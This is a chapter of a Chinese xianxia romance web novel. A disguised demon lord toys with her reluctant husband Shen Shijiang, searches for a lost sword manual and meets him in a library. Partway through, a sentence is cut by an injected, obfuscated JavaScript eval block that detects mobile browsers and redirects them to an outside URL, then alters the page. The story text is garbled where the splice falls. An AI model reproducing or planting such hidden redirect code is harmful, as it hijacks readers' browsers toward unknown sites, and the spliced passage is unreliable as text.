心跳剧烈,大脑空白。
那张脸在他面前无尽放大,湿润的清雅的香气,无声缠上他的鼻息,他更是无法呼吸。
这个回答,比他所研究的所有符学,都更难让他回答。
玄蕴睁开眼睛,与他对视,泪光闪闪,“喂,你说话啊!”
小哥哥被她逼到有点无路可逃。
他如砧板上的鱼,苍白而悄无声息。
魔尊有点心软,将他松开一点儿。
如果此刻是真正的相遇,她绝不会用这种手段诉说心意,也不会逼他去说他全然不擅长回应的话语。
沈时江确实无法言语。
他只因那双眼睛,一时失去魂魄。
尚存的理智告诉他要逃离,身后是门——对!只要打开门就能离开。
他有点不知道要怎么打开这扇门,其实是只要有任何一旦挣扎反抗的意思,他觉得她就会再度哭泣。
他手心无声汇聚灵光,悄悄将手贴在背后的门上,下一秒,两扇木质门扉开始爬出裂痕。
玄蕴恍然不觉,见沈时江不说话,转而生气,“你不信?好,你不信就算了,反正我只跟你说这一次。”
他一手贴着门,手心灵光更盛,裂痕更粗更快蔓延,他确保自己一如既往那般平静,看着她。
面容不起涟漪,神情不露心绪,平生第一次听见的,她告白的话语,这扑朔迷离不知何故生起的爱意……
不管她是替身,是罗黛,甚至是最不可能的那个人。
他无法回应。
只能逃离。
因他没有说话,女子仿若气馁,在他的目光里,她用手指揩掉脸上那些残存的水渍,她又假装不在意,再度盯紧了他。
再映入他眼帘的,便又是见惯了的,傲慢、强势又嚣张的罗黛。
女子微启薄唇,气恼道:“好,确实我和你早就没关系了,一年后我就回去了,我回去就养面首,你给我滚……”
两扇门在这一刻分崩离析,巨大的断裂声压过玄蕴的声音。
沈时江也就没听清“面首”二字。
他倾然往后坠去,身后哪怕是万丈深渊他也会跳下去。
攥着他衣领的女子早就松开他,她不必坠落,结果女子惊慌想要拉住他,“哎……”
凭女子的力气无法扯住一个男子,她不肯松手,反倒被他连带着,齐齐朝地上坠去。
她跌入他怀里。
背后撞到坚实的地面,身前拥到柔软不可思议的身体。
天旋地转,轻巧的分量压着他,乌发缠绕他脖颈,他一时之间忘却自己。
玄蕴起身,跌坐在沈时江身上,问:“喂?你没事吧?”
玄蕴都有些惊讶,瞧了眼四周满地碎裂的木块,她话还没说完呢,她就差一点儿就能把沈时江气得暴死,再也不和她往来。
这平时毫无存在感的门怎么出了岔子?
可能是女子的声音,也可能是白昼天光刺入眼里,沈时江如梦初醒,一语不发,一个起身,猛然将女子一把推到身旁,他跳起来,拔腿就朝阶下疾走。
他不回头,身后之人也没有追他,那双眼睛却在追他。
*
不远处,听见这巨大动静的少年,也正朝这边东张西望。
徒弟得意忘形炫耀技艺,沈时江对他并不算很生气,这一刻看到他,更像是看到救命稻草,叫道:“小胖!”
沈时江大步流星朝着少年走去,本想叫上徒弟立刻走人,一抬眼,瞥见小胖头顶那一大片的纷然梨花。
他心弦莫名被挑动,一时色厉内荏做出发火的模样。
“把树变出来了,居然变不回去!”
“世上哪有这么大的梨树!”
“跪了这么久,想出还原之法没有?”
不远处,丫鬟对那碎掉的门大惊小怪,那人却恢复镇定,抱胸依靠门边。
她说了那么多气话,这一刻倒还是尽在掌握的从容自信,不恼,也不羞,以大小姐的姿态,看他如她的所有物。
他虚张声势,以师尊的名义教训着弟子,营造出他人绝不可涉足的圈界。
“起来!”
“是!”少年愁眉苦脸爬起来,缩着脖子,看着只想把自己变成个耗子。
沈时江抬眼看向这株不可思议的梨树,些许梨花静谧飘落他的面颊。
来时是灿烂暮间,在房间的片刻仿若长年,从门里逃出来,屋外这一刻只剩些许余晖的昏夜。
那一大株梨花,一如小胖从他所学,散发些幽光,在风中飘飘洒洒,恍如很久很久之前的梦境。
确实是太丢脸了!
他和弟子这时是一般的丢脸!
在她的目光下,他或许比小胖还要丢人现眼!
*
玄蕴一计未成,倒也不慌,只在门边看戏。
少年跪在树下,垂头丧气听着师尊教训。
沈时江在树下走来走去,最后驻足,仰望头上梨花。
玄蕴只看到他侧颜。
那精细勾勒的轮廓,冰冷坚硬如山川。
他的脸浸在一片晦暗中,看不出任何表情。
他又生气了,他的脸崩得死死的,小哥哥这一刻,真在生气呢!
他是因为突如其来的告白生气吗?
他是因为无法辨识的幻术生气吗?
还是因为她生气?
还是因为他自己毫不自知的,那份心动,而生气呢?
魔尊很勉强忍住笑意。
沈时江说了一顿小胖,倒又问小胖一些幻术上的研学之事,师徒二人在那棵树前比比划划。
小胖尝试了好几次,那棵树岿然不动。
沈时江一派端静的面容,便无法自控扭曲了几分,露出玄蕴见所未见的痛苦模样。
这痛苦,大抵还有几分是她带给他的。
最后沈时江看向那隐隐约约的幽光,只是无言一扬手,结束梦境,匆匆向着庭院外走去,身后跟着垂头耷耳的小胖。
他顾不上去叫徒弟,更不会回头去望那双眼,当然也顾不得他人眼中冷傲孤僻的沈仙师,这般姿态是何等狼狈的逃离。
*
最终还是来自清微花宗的幻师,替玄蕴再度施加了焕颜术。
沈时江闹出那么一大番动静,数日都没在太渊馆露过面。
小胖还是如常来回两边跑,小胖很是好奇问过玄蕴:“师母,那天你和师尊究竟怎么了?”
玄蕴给他师尊点面子,把那日的事捂得严实,小叶问不说,小胖问当然也不说。
玄蕴转移话题,“你师尊这几天在做什么?”
小胖仿若满头雾水,“师尊回去就在墨阁翻书。”
玄蕴也听得迷惑,“翻书?”
小胖点头:“三日三夜,不愿停歇。”
他在旁边战战兢兢,问沈时江:“师尊,你要找什么书啊?”
沈时江只是不语,面色沉峻,一行行扫过书架上罗列如烟海的古卷。
他不吃不喝不睡,偶尔拿着书就在空中比划,然后放下又拿别的书。
偶尔他又莫名从墨阁消失,然后神不知鬼不觉回来。
小胖亲眼看到他曾经在深夜里一个人在书阁里徘徊,对着空气自言自语。
小胖便对那日那扇门里的事愈发好奇。
他第一次人生震惊,便是看见师尊如此惊慌失措。
师母立在门边,分明还是那般温柔,师尊摔在地上看着她时,好似看着洪水猛兽。
师母可不可怕,小胖不知道。
但少年现在倒有点怀疑,师尊确实被师母吓坏,脑子受到刺激坏掉了。
她听着,眼前浮现小哥哥在夜中挑灯苦读的场景。
魔尊心中凝神——
这可不是他脑子坏掉的表现,他分明是斗智昂扬正在不死不休想要弄清楚某个事情。
哪怕有小叶对罗黛脸上的幻术做了说辞,哪怕她煞费苦心使用了美人计。
沈时江居然还是没有打消对她的怀疑!
小胖看着玄蕴忙来忙去,也问:“师母,你也在找什么书吗?”
玄蕴搪塞:“啊,那个……”
沈时江在找书,实际玄蕴也忙着找一本书。
沈时江不在,她正好趁此机会,将他这边的书房、卧房、内室,都翻了个底朝天。
结果一无所获。
远处,小叶正领着两个工匠进入院中,这是来测量书房两扇门的尺寸。
玄蕴看到丫鬟的身影,扭头吩咐少年:“小胖,帮我约一下你们墨阁的那位陈仙师,叫陈宁的那个,明日下午我在明馆书阁等他。”
小胖应了声,也好奇,“您找陈仙师有什么事吗?”
师母除了师尊之外,来道宫之后,似乎和其他人都素不来往啊。
工匠来到门前,小叶也向玄蕴汇报,“小姐,人来了。”
玄蕴点头回应。
她这番局,胜负皆半。
小叶怀疑她,沈时江也怀疑她,与其让两人某天串通起来调查她,不如借力打力,以小叶去钓沈时江,再以沈时江消除小叶那点儿疑心。
沈时江原本就不好对付。
但丫鬟现在看她的眼神清澈而真挚,经过这么多大术师的轮番验证,小叶现在对她,毕竟没有那么疑神疑鬼。
玄蕴便又看向小胖,再叮嘱了一遍:“我有我的事,千万别忘了,一定让他去。”
小胖看玄蕴神情认真,也认真记在心里就离去。
玄蕴看了小胖的身影,到底不死心,又在书阁里找七找八到处翻动。
什么沈时江?
什么小叶?
五日后就是剑试大会。
她现在,心心念念的就是阿泽叔叔,沈昭泽的那本剑谱。
*
阿泽叔叔,沈昭泽,这个名字在当时诸多仙门中,可谓如雷贯耳。
阿泽叔叔,当年是连远在荒僻深山还是孩童的她,都听说过的,大剑师。
师尊说过,叔叔的剑非常非常厉害,并不亚于当时罗秋水的未婚夫——现在的仙督。
沈时江也说过,叔叔的剑招,与罗秋水那一套非常非常相似。
叔叔自己也曾对他的夫人,还有对彼时坐在他膝上的玄蕴,闲聊,畅想:“当大剑师无非是争名逐利,日后我要做个教书先生。”
玄蕴曾亲眼看到他在桌上奋笔狂草画小人,其实是画他自创的那套剑法。
那本书……现在究竟在何处?
阿泽叔叔当年就是太殊宫的大剑师,那套他自创的剑谱,一定被他带回了太殊宫。
*
太渊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716834|173753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
馆共三处大书阁。
那套与罗秋水独创剑派惊人相似的剑谱,玄蕴早确定墨阁没有,又在太渊馆的书房搜罗一番——
本以为这书最可能出现的地方就是沈时江这里,他是沈昭泽的儿子,居然都没有收藏那套书。
玄蕴最后只能瞎猫去抓死耗子,去明馆的书阁一探究竟。
玄蕴一上楼去,就见到一个此刻最不想见到的身影。
沈时江正站在一列书架前,手中捧着一本古卷,因脚步声回头,在昏暗的楼馆里,与她隔空相望。
玄蕴头疼:“啊……”
这一刻沈时江出现在这儿,确实是一点儿也不稀奇。
他一定正在使劲翻书,想要用什么方法来验证她的身份。
沈时江先开口,肃穆沉静如一枚老僧,“你的脸,没事了吗?”
玄蕴抬眼看着这神容淡漠的男人,心里未免真生出点恨意。
他一副若无其事的样子。
他一副视她无物的样子。
那日他狼狈逃窜之后,夜间,玄蕴将睡之前对镜梳发,不经意瞥见镜中人脸——
哪怕魔尊现在愈发讨厌罗黛,玄蕴也不能不承认,迎亲那日她所见的罗黛的确是个美人。
她便想起白日对峙的一些细节。
那时沈时江震惊睁大双眼,盯着罗黛的泪颜而失魂落魄。
想他动心,又恨他动心。
玄蕴不语,一发走上前去,只将沈时江压在书架上,虚虚靠近他。
“沈仙师,与其关注我的脸,你是不是忘了我上次说的话?”
哪怕隔得如此相近,沈时江也只如一尊雕琢漂亮的神像,平静任她抱着,脸上、眼中,再无半分意乱情迷。
这本是令人赞许。
玄蕴还是笑,看到男人滚落的喉结,某个瞬间忽然想咬死他。
沈时江呼吸一滞:“罗姑娘,你自重。”
他呼吸貌似均匀,他面貌貌似正常,但他其实是过分紧张,所以愈发要强装镇定。
玄蕴有点儿恨他不争气。
她靠近这不挣扎,任由美色入怀的男人。
她嘴上不留情,手上也不留情,抚上他的脸。
她轻声低喃:“我要怎样才能得到你?”
他目光游移,不再看她——罗黛的脸。
玄蕴不肯善罢甘休,继续攻城略地,凑到他耳边,暧昧无比:“把我给你可不可以?”
远处有人声走过。
玄蕴只觉胳膊上一阵大力,她被人推开,离沈时江好几步远。
沈时江这时的面貌,正如那日他迎亲时的初见。
沈时江冷漠,肃杀,待她是毫不客气的陌生人:“罗黛,你别太过分了!”
玄蕴有点开心起来,表面倒又摆出生气的样子。
她现在很有兴致逗弄沈时江。
玄蕴咬牙,恨道:“你拒绝我,你会后悔的。”
沈时江一瞥眼,冷傲道:“你以为你是谁?”
玄蕴都惊住。
不,魔尊并不是惊讶于小哥哥忽然这般抗拒。
而是她很久很久都不曾看到,这个会摆露这种姿态的小哥哥。
他负气,桀骜,不屑,说话之间,容貌之上神光流转。
父母还活在世上,他是活在宠爱和赞誉声中的天才少年。
长大后的沈时江,一直生活在他人轻慢的目光中,他像个陈旧腐朽的老箱子,把过往全部封印。
她一直以为这个哥哥是不存在的了。
她没说话,沈时江更不客气:“我俩早就签了和离书,你要是不想待在这儿,明日你想走便走。”
哦!
对了。
因那和离书的缘故,玄蕴这一刻倒是想起,她不能把人逼得太紧。
罗黛不能和沈时江闹翻。
毕竟他忍辱负重娶了罗黛,又不是为了罗黛。
玄蕴高傲道:“谁要回去?我既答应你这桩联姻,我就要待在这里!”
沈时江不理会,转身就走。
玄蕴很想再多看看他这一面,叫道:“好,反正一年后我就回去了。你不稀罕,我回去就养面首,不,我现在就去养面首。”
沈时江果然顿住,果然回头,果然不屑,“你养面首与我何干?”
哎……
玄蕴倒一时还真被他问住。
有人走了过来,看到玄蕴,又因是在书阁,只轻声笑道:“少夫人,你昨日约我来书阁,是有什么事吗?”
玄蕴忽然更加头疼。
五步之外的沈时江一身蓝衣,另一侧,十步之外的陈宁亦是一身蓝衣。
他两人本就有五分像,同色同服同冠,相似度陡然上升至八分。
沈时江只听到陈宁声音时,脸色就冷如霜雪。
陈宁每逼近一分,沈时江脸色就更冷一分。
玄蕴最初被他看得惊慌失措,随即又起了逗弄的心思,“你走吧!”
沈时江倒不肯走了,一语不发,拉住玄蕴胳膊,“你不许去招惹陈宁。”
玄蕴兴致大好,表面冷冷淡淡,拍掉他的手。
闹剧是该结束。
她叫陈宁来,又不是为了让沈时江争风吃醋。
玄蕴虽说是这么想,一开口,却道:“我养面首与你何干?”